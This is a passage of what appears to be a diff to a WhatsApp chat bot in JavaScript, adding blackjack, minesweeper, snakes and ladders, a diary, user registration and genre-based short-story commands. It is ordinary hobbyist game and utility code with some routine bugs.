Math.floor(Math.random() * this.deck.length); + } + this.deck[c] = this.deck[randomIndex]; + this.deck[randomIndex] = tempVal; + } + } + } + dealCard(numCards) { + const cards = []; + for (let c = 0; c < numCards; c++) { + const dealtCard = this.deck.shift(); + if (dealtCard) { + cards.push(dealtCard); + this.dealtCards.push(dealtCard); + } + } + return cards; + } +} + +function sumCards(cards) { + let value = 0; + let numAces = 0; + for (const card of cards) { + value += card.value; + numAces += card.value === 11 ? 1 : 0; + } + while (value > 21 && numAces > 0) { + value -= 10; + } + return value; +} + +function formatCards(cards) { + return { total: sumCards(cards), cards }; +} + +function validateDeck(decks) { + if (!decks) { + throw new Error("A deck must have a number of decks"); + } + if (decks < 1) { + throw new Error("A deck must have at least 1 deck"); + } + if (decks > 8) { + throw new Error("A deck can have at most 8 decks"); + } + return decks; +} + +const formatter = new Intl.NumberFormat('id-ID', { + style: 'currency', + currency: 'IDR' +}); + +const templateBlackjackMessage = (prefix, command, David, m, blackjack) => { + const { table, state } = blackjack; + const { bet, dealer, player, payout } = table; + let message = ''; + const dealerCards = dealer.cards.map(card => `${card.name}`).join(', '); + const dealerTotal = dealer.total; + const playerCards = player.cards.map(card => `${card.name}`).join(', '); + const playerTotal = player.total; + + let hiddenDealerCards = dealer.cards.slice(0, -1).map(card => `${card.name}`).join(', '); + if (dealer.cards.length > 1) { + hiddenDealerCards += ', ❓'; + } else { + hiddenDealerCards += `, ${dealer.cards[0].name}`; + } + + switch (state) { + case "player_win": + case "dealer_win": + case "draw": + case "player_blackjack": + case "dealer_blackjack": + hiddenDealerCards = dealer.cards.map(card => `${card.name}`).join(', '); + message = `*\`🃏 • B L A C K J A C K •\`* + +╭───┈ • +│ *Your Cards:*\n│ \`${playerCards}\` +│ *Your Total:*\n│ \`${playerTotal}\` +├───┈ • +│ *Dealer's Cards:*\n│ \`${dealerCards}\` +│ *Dealer's Total:*\n│ \`${dealerTotal > 21 ? 'BUST' : dealerTotal}\` +╰───┈ • + +> *\`${(state === "player_win" ? "You win! 🎉" : state === "dealer_win" ? "Dealer wins. 😔" : state === "draw" ? "Draw. 🤝" : state === "player_blackjack" ? "Blackjack! 🥳" : "Dealer got Blackjack! 😔").toUpperCase()}\`*\n*Bet:*\n- \`\`\`${formatter.format(bet)}\`\`\`\n*Payout:*\n- \`\`\`${formatter.format(payout)}\`\`\` +`; + global.db.data.users[David.blackjack[m.chat].idPemain] + delete David.blackjack[m.chat]; + break; + default: + message = `*\`🃏 • B L A C K J A C K •\`* + +╭───┈ • +│ *Your Cards:*\n│ \`${playerCards}\` +│ *Your Total:*\n│ \`${playerTotal}\` +├───┈ • +│ *Dealer's Cards:*\n│ \`${hiddenDealerCards}\` +│ *Dealer's Total:*\n│ \`${dealerTotal > 21 ? 'BUST' : '❓'}\` +╰───┈ • + +*Bet:*\n- \`\`\`${formatter.format(bet)}\`\`\` + +Type *\`${prefix + command} hit\`* to draw a card. +Type *\`${prefix + command} stand\`* to end your turn.`; + break; + } + return message; +} + + David.blackjack = David.blackjack || {}; + let aksi = args[0] + let argumen = args[1] + + try { + switch (aksi) { + case 'end': + if (David.blackjack[m.chat]?.idPemain === m.sender) { + delete David.blackjack[m.chat]; + await reply('*Anda keluar dari sesi blackjack.* 👋'); + } else { + await reply('*Tidak ada sesi blackjack yang sedang berlangsung atau Anda bukan pemainnya.*'); + } + break; + + case 'start': + if (David.blackjack[m.chat]) { + await reply(`*A blackjack session is already in progress.* Use *${prefix + command} end* to exit the session.`); + } else { + David.blackjack[m.chat] = new Blackjack(1); + David.blackjack[m.chat].idPemain = m.sender; + let betAmount = argumen ? parseInt(argumen) : 1000; + David.blackjack[m.chat].placeBet(betAmount); + David.blackjack[m.chat].start(); + const table = David.blackjack[m.chat]; + const pesanStart = templateBlackjackMessage(prefix, command, David, m, table); + await reply(pesanStart); + } + break; + + case 'hit': + if (!David.blackjack[m.chat] || David.blackjack[m.chat]?.idPemain !== m.sender) { + await reply('*You are not playing blackjack or you are not a player*'); + break; + } + David.blackjack[m.chat].hit(); + const tableHit = David.blackjack[m.chat]; + const pesanHit = templateBlackjackMessage(prefix, command, David, m, tableHit); + await reply(pesanHit); + break; + + case 'stand': + if (!David.blackjack[m.chat] || David.blackjack[m.chat]?.idPemain !== m.sender) { + await reply('*You are not playing blackjack or you are not a player.*'); + break; + } + David.blackjack[m.chat].stand(); + const tableStand = David.blackjack[m.chat]; + const pesanStand = templateBlackjackMessage(prefix, command, David, m, tableStand); + await reply(pesanStand); + break; + + case 'double': + if (!David.blackjack[m.chat] || David.blackjack[m.chat]?.idPemain !== m.sender) { + await reply('*You are not playing blackjack or you are not a player.*'); + break; + } + David.blackjack[m.chat].doubleDown(); + const tableDouble = David.blackjack[m.chat]; + const pesanDouble = templateBlackjackMessage(prefix, command, David, m, tableDouble); + await reply(pesanDouble); + break; + + default: + await reply(`*Invalid command.*\nUse *${prefix + command} start* to start a blackjack session.`); + break; + } + } catch (err) { + console.error(err); + await reply('*An error occurred while processing the command.*'); + } +} +break +case 'msp': { + const generate = (x, y, bombs) => { + const field = Array.from({ + length: x + }, () => Array(y).fill(0)); + + for (let i = 0; i < bombs; i++) { + let xBomb, yBomb; + do { + xBomb = Math.floor(Math.random() * x); + yBomb = Math.floor(Math.random() * y); + } while (field[xBomb][yBomb] === 'x'); + + field[xBomb][yBomb] = 'x'; + } + + for (let i = 0; i < x; i++) { + for (let j = 0; j < y; j++) { + if (field[i][j] !== 'x') { + for (let k = -1; k <= 1; k++) { + for (let l = -1; l <= 1; l++) { + const ni = i + k; + const nj = j + l; + if (ni >= 0 && ni < x && nj >= 0 && nj < y && field[ni][nj] === 'x') { + field[i][j]++; + } + } + } + } + } + } + + return field; +}; + +const generateEmpty = (x, y) => Array.from({ + length: x +}, () => Array(y).fill(0)); + +const translate = (value) => { + switch (value) { + case 0: + return '⬜'; + case 1: + return '1️⃣'; + case 2: + return '2️⃣'; + case 3: + return '3️⃣'; + case 4: + return '4️⃣'; + case 5: + return '5️⃣'; + case 6: + return '6️⃣'; + case 7: + return '7️⃣'; + case 8: + return '8️⃣'; + case 'x': + return '💣'; + case 'e': + return '⏹️'; + case 'f': + return '🚩'; + } +}; + +const generateString = (map) => map.map(row => row.map(cell => translate(cell)).join('')).join('\n'); + +const detectZero = (map, x, y) => { + const queue = [ + [x, y] + ]; + const result = []; + const visited = new Set(); + + while (queue.length > 0) { + const [cx, cy] = queue.shift(); + if (!visited.has(`${cx},${cy}`)) { + visited.add(`${cx},${cy}`); + result.push([cx, cy]); + + if (map[cx][cy] === 0) { + for (let i = -1; i <= 1; i++) { + for (let j = -1; j <= 1; j++) { + const ni = cx + i; + const nj = cy + j; + if (ni >= 0 && ni < map.length && nj >= 0 && nj < map[0].length) { + queue.push([ni, nj]); + } + } + } + } + } + } + + return result; +}; + + David.minessweeper = David.minessweeper || {}; + const orgs = args[0]; + const oX = args[1]; + const oY = args[2]; + const F = args[3]; + const x = 10; + const y = 10; + const bombs = 15; + + if (!orgs) { + return reply(`🕹️ *Minesweeper Game* 🕹️\n*▶️ ${prefix + command} go* - Start the Game\n*🔓 ${prefix + command} open* - Open a cell\n*🔽 ${prefix + command} surrender* - Surrender\n\n*Example:* ${prefix + command} go`); + } + + switch (orgs.toLowerCase()) { + case "go": + case "start": + const map = generate(x, y, bombs); + const empty = generateEmpty(x, y); + const { + key + } = await reply('🕹️ *Minesweeper Game* 🕹️\n\n*Board*\n' + generateString(empty)); + David.minessweeper[m.chat] = { + 'map': map, + 'current': empty, + 'key': key + }; + return; + + case "surrender": + case "stop": + case "end": + if (!David.minessweeper[m.chat]) { + return reply('🚨 *No active game session.*'); + } + delete David.minessweeper[m.chat]; + return reply('🏳️ *You surrendered.*'); + + case "open": + case "o": + case "buka": + if (!David.minessweeper[m.chat]) { + return reply('🚨 *No active game session.*'); + } + if (oX > 10 || !oX || !oY) { + return reply(`🚨 *Invalid parameters. Example: ${prefix + command} open 2 5*`); + } + + const g = David.minessweeper[m.chat]; + + if (F === 'f') { + g.current[oY - 1][oX - 1] = '🚩'; + } else { + const openedCell = g.map[oX - 1][oY - 1]; + + if (openedCell === 0) { + const zero = detectZero(g.map, oX - 1, oY - 1); + for (const coords of zero) { + g.current[coords[0]][coords[1]] = g.map[coords[0]][coords[1]]; + } + } else if (openedCell === 'x') { + delete David.minessweeper[m.chat]; + const { + key: loseKey + } = await reply('💥 *BOOM!* 💣 *You opened a bomb.*'); + David.minessweeper[m.chat] = { + 'key': loseKey + }; + return; + } else { + g.current[oY - 1][oX - 1] = openedCell; + } + } + + await David.sendMessage(m.chat, { + delete: g.key + }); + + const { + key: newKey + } = await reply('🕹️ *Minesweeper Game* 🕹️\n\n*Board*\n' + generateString(g.current)); + David.minessweeper[m.chat].key = newKey; + return; + } +}; +break + +case 'diary': + const diary = loadDiary(); + const userId = m.sender; + if (!args[0]) { + const userDiary = diary[userId] || []; + if (userDiary.length === 0) return reply("Your diary is empty. Add entries with `.diary `"); + m.reply(`📓 Your Diary:\n\n${userDiary.map((entry, i) => `${i + 1}. ${entry}`).join('\n')}`); + } else { + const entry = text.trim(); + if (!diary[userId]) diary[userId] = []; + diary[userId].push(entry); + saveDiary(diary); + m.reply(`✅ Added to your diary: "${entry}"`); + } + break; + +case 'ulartangga': { + class SnakeAndLadderGame { + constructor(sMsg) { + this.sendMsg = sMsg; + this.players = []; + this.boardSize = 100; + this.snakesAndLadders = [{ + start: 29, + end: 7 + }, { + start: 24, + end: 12 + }, { + start: 15, + end: 37 + }, + { + start: 23, + end: 41 + }, { + start: 72, + end: 36 + }, { + start: 49, + end: 86 + }, + { + start: 90, + end: 56 + }, { + start: 75, + end: 64 + }, { + start: 74, + end: 95 + }, + { + start: 91, + end: 72 + }, { + start: 97, + end: 78 + } + ]; + this.currentPositions = {}; + this.currentPlayerIndex = 0; + this.bgImageUrl = 'https://i.pinimg.com/originals/2f/68/a7/2f68a7e1eee18556b055418f7305b3c0.jpg'; + this.playerImageUrls = { + red: 'https://telegra.ph/file/86fd8ea9311e2bc99ae63.jpg', + green: 'https://dkonten.com/studio/wp-content/uploads/sites/19/2023/05/search-1.png' + }; + this.bgImage = null; + this.playerImages = { + red: null, + green: null + }; + this.cellWidth = 40; + this.cellHeight = 40; + this.keyId = null; + this.started = false; + } + + initializeGame() { + this.players.forEach(player => (this.currentPositions[player] = 1)); + this.currentPlayerIndex = 0; + this.started = true; + } + + rollDice = (num) => { + return Array.from({ length: num }, () => Math.floor(Math.random() * 6) + 1)[Math.floor(Math.random() * num)]; +}; + + fetchImage = async (url) => { + try { + const response = await axios.get(url, { + responseType: 'arraybuffer' + }); + return await Jimp.read(Buffer.from(response.data, 'binary')); + } catch (error) { + console.error(`Error fetching image from ${url}:`, error); + throw error; + } + }; + + getBoardBuffer = async () => { + const board = new Jimp(420, 420); + this.bgImage.resize(420, 420); + board.composite(this.bgImage, 0, 0); + + for (const player of this.players) { + const { + x, + y + } = this.calculatePlayerPosition(player); + board.composite(await this.getPlayerImage(player), x, y); + } + + return board.getBufferAsync(Jimp.MIME_PNG); + }; + + calculatePlayerPosition = (player) => { + const playerPosition = this.currentPositions[player]; + const row = 9 - Math.floor((playerPosition - 1) / 10); + const col = (playerPosition - 1) % 10; + const x = col * this.cellWidth + 10; + const y = row * this.cellHeight + 10; + return { + x, + y + }; + }; + + getPlayerImage = async (player) => { + const color = this.getPlayerColor(player); + + if (!this.playerImages[color]) { + try { + const image = await this.fetchImage(this.playerImageUrls[color]); + this.playerImages[color] = image; + } catch (error) { + console.error(`Error fetching image for ${color} player:`, error); + throw error; + } + } + + return this.playerImages[color].clone().resize(this.cellWidth, this.cellHeight); + }; + + getPlayerColor = (player) => (player === this.players[0] ? 'red' : 'green'); + + startGame = async (m, player1Name, player2Name) => { + await m.reply(`🐍🎲 *Selamat datang di Permainan Ular Tangga!* 🎲🐍 \n\n${this.formatPlayerName(player1Name)} *vs* ${this.formatPlayerName(player2Name)}`) + + this.players = [player1Name, player2Name]; + await this.initializeGame(); + + if (!this.bgImage) this.bgImage = await this.fetchImage(this.bgImageUrl); + + const { + key + } = await David.sendMessage(m.chat,{image: await this.getBoardBuffer()}); + this.keyId = key; + }; + + formatPlayerName = (player) => { + const color = this.getPlayerColor(player); + return `@${player.split('@')[0]} ( ${color.charAt(0).toUpperCase() + color.slice(1)} )`; + }; + + playTurn = async (m, player) => { + if (!this.players.length) return m.reply('🛑 *There are no active games.*\nUse "!snake start" to start a new game..'); + if (player !== this.players[this.currentPlayerIndex]) return m.reply(`🕒 *It's not your turn.* \n\nNow it's your turn ${this.formatPlayerName(this.players[this.currentPlayerIndex])}`); + + const diceRoll = this.rollDice(6); + await David.sendMessage(m.chat, {image: {url: "https://i.pinimg.com/originals/2f/68/a7/2f68a7e1eee18556b055418f7305b3c0.jpg" }, caption: `🎲 ${this.formatPlayerName(player)} *roll the dice.*\n\n - Dice: *${diceRoll}*\n - From box: *${this.currentPositions[player]}*\n - To box: *${this.currentPositions[player] + diceRoll}*` }, {quoted: m}); + + if (this.players.length === 0) return; + + const currentPosition = this.currentPositions[player]; + let newPosition = currentPosition + diceRoll; + + for (const otherPlayer of this.players) { + if (otherPlayer !== player && this.currentPositions[otherPlayer] === newPosition) { + const message = `😱 *Oh no!* ${this.formatPlayerName(player)} *steps into position* ${this.formatPlayerName(otherPlayer)}\n*Back to beginning of cell..*`; + await m.reply(message); + newPosition = 1; + } + } + + if (newPosition <= this.boardSize) { + const checkSnakeOrLadder = this.snakesAndLadders.find((s) => s.start === this.currentPositions[player]); + + if (checkSnakeOrLadder) { + const action = checkSnakeOrLadder.end < checkSnakeOrLadder.start ? 'Back' : 'Forward'; + await m.reply(`🐍 ${this.formatPlayerName(player)} find *${action === 'Back' ? 'snake' : 'ladder'}!*\n*${action}* to box *${checkSnakeOrLadder.end}*`); + this.currentPositions[player] = checkSnakeOrLadder.end; + } else { + this.currentPositions[player] = newPosition; + } + + if (this.currentPositions[player] === this.boardSize) { + await m.reply(`🎉 ${this.formatPlayerName(player)} win!\n*Congratulations!*`); + await this.resetSession(); + return; + } + + if (diceRoll !== 6) { + this.currentPlayerIndex = 1 - this.currentPlayerIndex; + } else { + await m.reply('🎲 *You got 6*\nSo your turn still continues.'); + } + } else { + await m.reply('🔄 Exceeding the box limit, the position is reset and the turn goes to the next player..'); + this.currentPositions[player] = 1; + this.currentPlayerIndex = 1 - this.currentPlayerIndex; + } + + const boardBuffer = await this.getBoardBuffer(); + const sendMsg = this.sendMsg; + await sendMsg.sendMessage(m.chat, { + delete: this.keyId + }); + + const { + key + } = await m.reply(boardBuffer); + this.keyId = key; + }; + + addPlayer = (player) => this.players.length < 2 && !this.players.includes(player) && player !== '' && (this.players.push(player), true); + + resetSession = () => { + this.players = []; + this.currentPositions = {}; + this.currentPlayerIndex = 0; + this.started = false; + }; + + isGameStarted = () => this.started; +} + +class GameSession { + constructor(id, sMsg) { + this.id = id; + this.players = []; + this.game = new SnakeAndLadderGame(sMsg); + } +} + + David.ulartangga = David.ulartangga || {}; + const sessions = (David.ulartangga_ = David.ulartangga_ || {}); + const sessionId = m.chat; + const session = sessions[sessionId] || (sessions[sessionId] = new GameSession(sessionId, David)); + const game = session.game; + const { + state + } = David.ulartangga[m.chat] || { + state: false + }; + + switch (args[0]) { + case 'join': + if (state) return m.reply('🛑 *The game has started.*\nCannot join.'); + const playerName = m.sender; + const joinSuccess = game.addPlayer(playerName); + joinSuccess ? m.reply(`👋 ${game.formatPlayerName(playerName)} *join the game..*`) : m.reply('*You have already joined or the game is full.*\nCannot join.'); + break; + + case 'start': + if (state) return m.reply('🛑 *The game has started.*\nCannot restart.'); + David.ulartangga[m.chat] = { + ...David.ulartangga[m.chat], + state: true + }; + if (game.players.length === 2) { + await game.startGame(m, game.players[0], game.players[1]); + await m.reply('🛑 *The game has started.*\nCannot restart..'); + return; + } else { + await m.reply('👥 *There are not enough players to start the game.*\nA minimum of 2 players is required..'); + return; + } + break; + + case 'roll': + if (!state) return m.reply(`🛑 *The game has not started yet.*\nType *${prefix + command} start* to start`); + if (game.isGameStarted()) { + const currentPlayer = game.players[game.currentPlayerIndex]; + if (m.sender !== currentPlayer) { + await m.reply(`🕒 *It's not your turn.* \n\nNow it's your turn ${game.formatPlayerName(currentPlayer)}`); + return; + } else { + await game.playTurn(m, currentPlayer); + return; + } + } else { + await m.reply(`🛑 *The game has not started yet.*\nType *${prefix + command} start* to start.`); + return; + } + break; + + case 'reset': + David.ulartangga[m.chat] = { + ...David.ulartangga[m.chat], + state: false + }; + session.game.resetSession(); + delete sessions[sessionId]; + await m.reply('🔄 *Game session reset*'); + break; + + case 'help': + await m.reply(`🎲🐍 *Snakes and Ladders Game* 🐍🎲\n\n*Commands:*\n- *${prefix + command} join :* Join the game.\n- *${prefix + command} start :* Start the game.\n- *${prefix + command} roll :* Roll the dice to move.\n- *${prefix + command} reset :* Reset the game session.`); + break; + + default: + m.reply(`❓ *Perintah tidak valid.*\nGunakan *${prefix + command} help* untuk melihat daftar perintah.`); + } +}; +break + +case 'daftar': + if (isRegistered) return reply('You are already registered') + if (!q.includes('.')) return reply('Not like that Sis, Gini .register your name.your age.') + const namaUser = q.substring(0, q.indexOf('.') - 0) + const umurUser = q.substring(q.lastIndexOf('.') + 1) + const serialUser = createSerial(20) + if(isNaN(umurUser)) return reply('Age must be a number!!') + if (namaUser.length >= 30) return reply(`why is your name so long it's a name or a train`) + if (umurUser > 40) return reply(`your age is too old maximum 40 years`) + if (umurUser < 12) return reply(`your age is too young minimum 12 years`) + mzd = `You have registered with the following information:\n\n⭔ Name : ${Username}\n⭔ Age : ${Userage}\n⭔ Phone Number : wa.me/${sender.split("@")[0]}\n⭔ NS : ${serialUser}` + veri = m.sender + if (!m.isGroup) { + addRegisteredUser(m.sender, namaUser, umurUser, serialUser) + David.sendMessage(m.chat, {image: fkethmb, caption: mzd, contextInfo: { + externalAdReply: { + showAdAttribution: true, + mediaType: 2, + mediaUrl: `https://whatsapp.com/channel/0029VaeRru3ADTOEKPCPom0L/${Math.floor(Math.random() * 100000000000000000)}`, + title: `${pushname} Already Registered`, + body: `ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`, + sourceUrl: "", + thumbnail: fkethmb + } + }}) + + } else { + addRegisteredUser(m.sender, namaUser, umurUser, serialUser) + David.sendMessage(m.chat, {image: fkethmb, caption: mzd, contextInfo: { + externalAdReply: { + showAdAttribution: true, + mediaType: 2, + mediaUrl: `https://whatsapp.com/channel/0029VaeRru3ADTOEKPCPom0L/${Math.floor(Math.random() * 100000000000000000)}`, + title: `${pushname} Already Registered`, + body: `Created by ${ownername}`, + sourceUrl: "", + thumbnail: fkethmb + } + }}) + + } + break +case 'cerpen-anak':{ +let hasil = await cerpen(`anak`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-bahasadaerah':{ +let hasil = await cerpen(`bahasa daerah`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-bahasainggris':{ +let hasil = await cerpen(`bahasa Inggris`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-bahasajawa':{ +let hasil = await cerpen(`bahasa jawa`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-bahasasunda':{ +let hasil = await cerpen(`bahasa sunda`) +m.reply(` + ❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-budaya':{ +let hasil = await cerpen(`budaya`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-cinta':{ +let hasil = await cerpen(`cinta`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-cintaislami':{ +let hasil = await cerpen(`cinta islami`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-cintapertama':{ +let hasil = await cerpen(`cinta pertama`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-cintaromantis':{ +let hasil = await cerpen(`cinta romantis`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-cintasedih':{ +let hasil = await cerpen(`cinta sedih`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-cintasegitiga':{ +let hasil = await cerpen(`Cinta segitiga`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-cintasejati':{ +let hasil = await cerpen(`cinta sejati`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-galau':{ +let hasil = await cerpen(`galau`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-gokil':{ +let hasil = await cerpen(`gokil`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-inspiratif':{ +let hasil = await cerpen(`inspiratif`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-jepang':{ +let hasil = await cerpen(`jepang`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-kehidupan':{ +let hasil = await cerpen(`kehidupan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-keluarga':{ +let hasil = await cerpen(`keluarga`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-kisahnyata':{ +let hasil = await cerpen(`kisah nyata`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-korea':{ +let hasil = await cerpen(`korea`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-kristen':{ +let hasil = await cerpen(`kristen`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-liburan':{ +let hasil = await cerpen(`liburan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-malaysia':{ +let hasil = await cerpen(`malaysia`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-mengharukan':{ +let hasil = await cerpen(`mengharukan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-misteri':{ +let hasil = await cerpen(`misteri`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-motivasi':{ +let hasil = await cerpen(`motivasi`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-nasihat':{ +let hasil = await cerpen(`nasihat`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-nasionalisme':{ +let hasil = await cerpen(`nasionalisme`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-olahraga':{ +let hasil = await cerpen(`olahraga`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-patahhati':{ +let cerpe = await cerpen(`patah hati`) +reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-penantian':{ +let hasil = await cerpen(`penantian`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-pendidikan':{ +let hasil = await cerpen(`pendidikan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-pengalaman':{ +let hasil = await cerpen(`pengalaman pribadi`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-pengorbanan':{ +let hasil = await cerpen(`pengorbanan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-penyesalan':{ +let hasil = await cerpen(`penyesalan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-perjuangan':{ +let hasil = await cerpen(`perjuangan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: ${hasil.cerita}`) +} +break +case 'cerpen-perpisahan':{ +let hasil = await cerpen(`perpisahan`) +m.reply(` +❏ *Title*: ${hasil.title} +❏ *Author*: ${hasil.author} +❏ *Category*:${hasil.kategori} +❏ *Pass Moderation*:${hasil.lolos}\n +❏ *Story*: 